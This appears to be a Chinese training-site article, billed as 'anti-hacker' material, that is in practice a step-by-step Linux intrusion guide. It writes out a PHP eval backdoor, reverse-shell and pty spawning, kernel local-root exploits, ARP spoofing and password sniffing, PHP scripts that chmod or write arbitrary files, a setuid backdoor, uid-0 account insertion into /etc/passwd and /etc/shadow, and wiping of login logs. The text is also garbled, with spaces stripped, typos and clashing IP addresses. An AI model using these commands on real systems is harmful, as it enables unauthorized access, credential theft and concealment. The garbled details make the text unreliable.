今天扣丁学堂Linux培训老师给大家最先选介绍一下关于Linux入侵常用命令之防黑客源码及相关资料，先说linux权限多设相对松其实，但有虚拟机还是无法跨目录访问，在提不行权情况下，试试如下代码吧，运气非常好话说大概就跨过去，下面话不多说，来一起看看祥明介绍吧，
写個php一句话后门上去：
〔jobcruit@wa64-054rankup_log〕$echo-e"<?php@eval〔\$_POST〔md5〕〕?>">rankuplog_time.php
〔jobcruit@wa64-054rankup_log〕$catrankuplog_time.php
1、linux想着先跨站
shell浏览意向站不行，命令行下输入：
ls-la/www.users/
2、溢出提权
#python–c‘impotrpty;pty.spawn〔“/bin/sh”〕;
来得到交互Shell,一类似系统都默认安装python
输入id
bash-3.2$id
uid=529〔zeicom〕gid=525〔zeicom〕groups=525〔zeicom〕
bash-3.2$
这里uid=529〔zeicom〕还不是root权限，
输入uname–r
返回：2.6.18-164.11.1.el5PAE
Linux提权大致可分为，第三方软件漏洞、当地信任特性、内核溢出找对应exp,命令输入pwd,这個命令是显示当前目录，
先看能无法编译gcc-help，当前目录就是shell目录，我在shell上传2.c反弹shell到外网自己机器12345端口，上外网服务器当地监听nc-lvvp12345，一般都能得到一個apache交互shell时而候又不行
#python-c'impotrpty;pty.spawn〔"/bin/sh"〕;'
cd/tmp进入tmp目录
mkdirPapers创建一個Papers目录Papers不显眼
cdPapers进入Papers目录
pwd查看当前目录
而后命令输入
wget下载exp
gcc–o22.c//把2.c编译成可执行文件g++keio.cc-okeio
chmod+x2//给2有执行权限
./2//执行2,溢出
gcc-I/usr/local/include-L/usr/local/lib-oarpsnifferarpsniffer.c-lpcap-lnet
确定arpsniffer.c须要先装pcap、libnet，
rpm-ivhlibnet-1.1.2.1-2.1.fc2.rf.i386.rpm
wgethttp：//downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
tarzxvflibpcap-0.8.1.tar.gz
cdlibpcap-0.8.1
./configure
make
makeinstall
重新编译arpsniffer.c
gcc-I/usr/local/include-L/usr/local/lib-oarpsnifferarpsniffer.c-lpcap-lnet
这次没报错，编译成功，
./arpsniffer-Ieth0-M192.168.0.6-W192.168.0.4-S192.168.0.254
下面开始欺骗，由于是服务器端，因为这個咱们欺骗网关：〔网络环境如下，邮件服务器ip：192.168.0.11网关：192.168.0.1本机：192.168.0.77〕
./arpsniffer-Ieth0-M192.168.0.77-W192.168.0.1-S192.168.0.11-P110
在另一個登录里面用tcpdump监听下
tcpdump-ieth0host192.168.0.11
发现有数据，把监听数据存在文件里面：
tcpdump-ieth0host172.16.0.12-wpop.txt
10分钟后停止，在SecureCRT下用sz命令下载pop.txt到当地，而后用Ethereal分析，
下面咱们就可以用linsniffer监听咱们想要运用者名、密码，
先修改linsniffer.c：根据自己需求监听相应应用密码，我如下：
if〔ntohs〔tcp->dest〕==21〕p=1;/*ftp*/
if〔ntohs〔tcp->dest〕==22〕p=1;/*sshforcomparisonaddedforexampleonlycommentoutifdesired*/
if〔ntohs〔tcp->dest〕==23〕p=1;/*telnet*/
if〔ntohs〔tcp->dest〕==80〕p=1;/*http*/
if〔ntohs〔tcp->dest〕==110〕p=1;/*pop3*/
if〔ntohs〔tcp->dest〕==513〕p=1;/*rlogin*/
if〔ntohs〔tcp->dest〕==106〕p=1;/*poppasswd*/
〔root@bbs111root〕#gcc-olinsnifferlinsniffer.c
Infileincludedfrom/usr/include/linux/tcp.h：21,
fromlinsniffer.c：32：
/usr/include/asm/byteorder.h：6：2：warning：#warningusingprivatekernelheader;include<endian.h>instead!
不用管警告，直接运行编译后linsniffer就可，
〔root@bbs111root〕#./linsniffer
运用者名、密码都自动存到tcp.log下，
3、利用跨站代码
linux不提权跨目录访问代码，linux权限多设相对松其实，但有虚拟机还是无法跨目录访问，在提不行权情况下，试试如下代码吧，运气非常好话说大概就跨过去，
代码如下：
$path=stripslashes〔$_GET〔'path'〕〕;
$ok=chmod〔$path,0777〕;
if〔$ok==true〕
echoCHMODOK,Permissioneditablefileordirectory.Permissiontowrite;
?>
把上面代码保存为tmdsb.PHP
而后访问http：//www.tmdsb.com/tmdsb.php?path=../../要跨目录/index.php
这里index.PHP是要修改权限文件，
收集另一個exp：
把下面代码保存为exp.PHP
代码：
@$filename=stripslashes〔$_POST〔'filename'〕〕;
@$mess=stripslashes〔$_POST〔'mess'〕〕;
$fp=@fopen〔{$_POST〔'filename'〕},'a'〕;
@fputs〔$fp,$mess
〕;
@fclose〔$fp〕;
?>
4.2.618最后LinuxKernel<2.6.19udp_sendmsgLocalRootExploit〔x86/x64〕这個0day溢出成功
udev提权
换個udev提权，适用于内核范围为2.6.*，
还是上传文件至服务器shell所在目录，执行命令ls，发现文件已经躺在那里面，之后赋予exp执行权限，
chmod+xpwnkernel.c
chmod+xwunderbar_emporium.sh
chmod+xexploit.c
之后执行溢出./w*
成功溢出，root权限，
之后就是留下一個后门~添加一個root权限运用者俺也不介意，，，〔useradd-u0-o"username"〕
依次输入命令
cd/tmp
sh-3.1#ls/lib/ld-linux*
/lib/ld-linux.so.2
sh-3.1#cp/lib/ld-linux.so.2/tmp/.str1ven
sh-3.1#ls-l.str1ven
-rwxr-xr-x1rootroot12168407-0821：13.str1ven
sh-3.1#chmod+s.str1ven
sh-3.1#ls-l.str1ven
-rwsr-sr-x1rootroot12168407-0821：13.str1ven
成功奠定一個后门，退出root，执行./.str1ven`whichwhoami`，又成功获取root权限~~
cat/etc/passwd查看linux运用者
cat/etc/shadow查看运用者密码须要root权限
cat/etc/sysconfig/network-scripts/ifcfg-ethnN代表网卡号查看所在网卡ip信息
ifconfig查看本机ip信息
cat/etc/resolv.conf查看DNS信息
bash-i在反弹shell中运用可以直观显示命令
bashprompt：当你以普通限权运用者身份进入时候，一般你会有一個类似bash$prompt，当你以
Root登陆时，你prompt会转变bash#，
系统变量：试着echo"$USER/$EUID"系统应该会告诉你它感觉你是什么运用者，
echo1>/proc/sys/net/ipv4/if_forward是不是你写错,应该是echo1>/proc/sys/net/ipv4/ip_forward,
vim/proc/sys/net/ipv4/ip_forward吧,默认是0,也就是内核不实行数据包过滤,改为1,让内核对数据包实行filter搞定!
netstat-an|grepLISTEN|grep：80查看端口
service--status-all|greprunning
service--status-all|grephttp
查看运行服务
lsb_release-a查看系统版本
重启ssh服务：
/usr/sbin/sshdstop/
usr/sbin/sshdstart
ssd_config文件里
PasswordAuthenticationno,
将其改为
PasswordAuthenticationyes
远程ssh才可登录
否则显示Accessdenied
其中Usepamyes大概用来奠定pam方法login，比方说从其它linux主机ssh到服务端，倘若关闭，则无法打开.
su菜鸟用法
先chomod777/etc/passwd
而后修改bin运用者gid、uid为0
而后passwd设置bin密码
而后cp/bin/bash/sbin/nologin
而后su时候su-bin就可以到rootshell，
这個原理就是当ssh不允许root用ssh终端登陆时候，咱们又不晓得root密码一种很菜鸟做法，
还可以这样
sed-is/bin：x：1：1/bin：x：0：1/g/etc/passwd
gccprtcl2.c–olocal–static–Wall
echo"nosec：x：0：0：：/：/bin/sh">>/etc/passwd
echo"nosec：：-1：-1：-1：-1：-1：-1：500">>/etc/shadow
清空last记录cp/dev/null/var/log/wtmp
-----
ddif=/dev/zeroof=yourfilebs=10Mcount=10奠定一個100m大文件在利用LinuxKernel<=2.6.17.4〔proc〕LocalRootExploit提权时候要用到
/etc/init.d/sshstart开22端口
/etc/ssh/sshd_configSSH服务配置文件
以上就是关于扣丁学堂Linux基石教程入侵常用命令之防黑客示例代码全部内容，希望本文内容对大家学习或者就业具有一定参考学习价值，谢谢大家对扣丁学堂持助。